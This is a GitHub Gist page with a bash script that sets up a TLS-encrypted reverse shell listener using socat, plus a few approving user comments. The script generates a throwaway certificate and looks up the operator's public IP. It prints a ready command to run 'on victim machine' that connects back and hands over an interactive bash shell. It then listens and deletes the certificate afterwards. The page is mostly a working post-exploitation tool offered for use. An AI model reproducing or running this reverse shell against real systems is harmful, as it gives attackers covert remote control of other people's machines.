Last active
January 15, 2024 13:29
-
-
Save shahrilnet/c2d9dd7a93901c4876c7be1572cccb26 to your computer and use it in GitHub Desktop.
Post-exploitation reverse shell using socat plus encrypted connection
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env bash | |
# Author : shahril96 | |
# Licensed under the WTFPL license - http://www.wtfpl.net/about/ | |
# Make sure only root can run our script | |
[[ $EUID -ne 0 ]] && { echo "This script must be run as root" 1>&2; exit 1; } | |
# print help msg if not enough argument given | |
[ $# -ne 1 ] && { echo "Usage: `basename $0` port-to-listen"; exit 1; } | |
# check for internet connection | |
wget -q --tries=10 --timeout=20 --spider http://google.com | |
[ $? != 0 ] && { echo "Your current connection is offline, plz make sure you have internet connection"; exit 1; } | |
command -v socat >/dev/null 2>&1 || { echo >&2 "'socat' isnt available inside ur system, abort operation!!"; exit 1; } | |
if [[ ! -f server.pem ]]; then | |
command -v openssl >/dev/null 2>&1 || { echo >&2 "'openssl' isnt available inside ur system, abort operation!!"; exit 1; } | |
echo -e "\n[+] generating new ssl cert & priv.key\n" | |
openssl req -x509 -sha256 -newkey rsa:4096 -keyout server.pem -out server.pem -days 10000 -nodes | |
fi | |
# get this computer public ip | |
ip=$(wget http://ipinfo.io/ip -qO - 2> /dev/null) | |
echo -e "\n[+] now on victim machine, run below command" | |
echo -e "$ ./socat openssl-connect:$ip:$1,verify=0 exec:bash,pty,stderr,setsid\n" | |
echo "[+] listening on port $1" | |
socat `tty`,raw,echo=0 openssl-listen:$1,reuseaddr,cert=server.pem,verify=0 | |
echo "[+] clearing ur ugly ass (by deleting server.pem)" | |
rm -rf server.pem | |
exit |
@aster-max lmao. glad that it helps you man :)
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
I love it man. I was searching for a one-liner full tty interactive support without having to
Ctrl+Z
/ background my sessions, which is not a working condition for me. That line30
and33
really saved me a lot. What a lovely ugly ass ❤️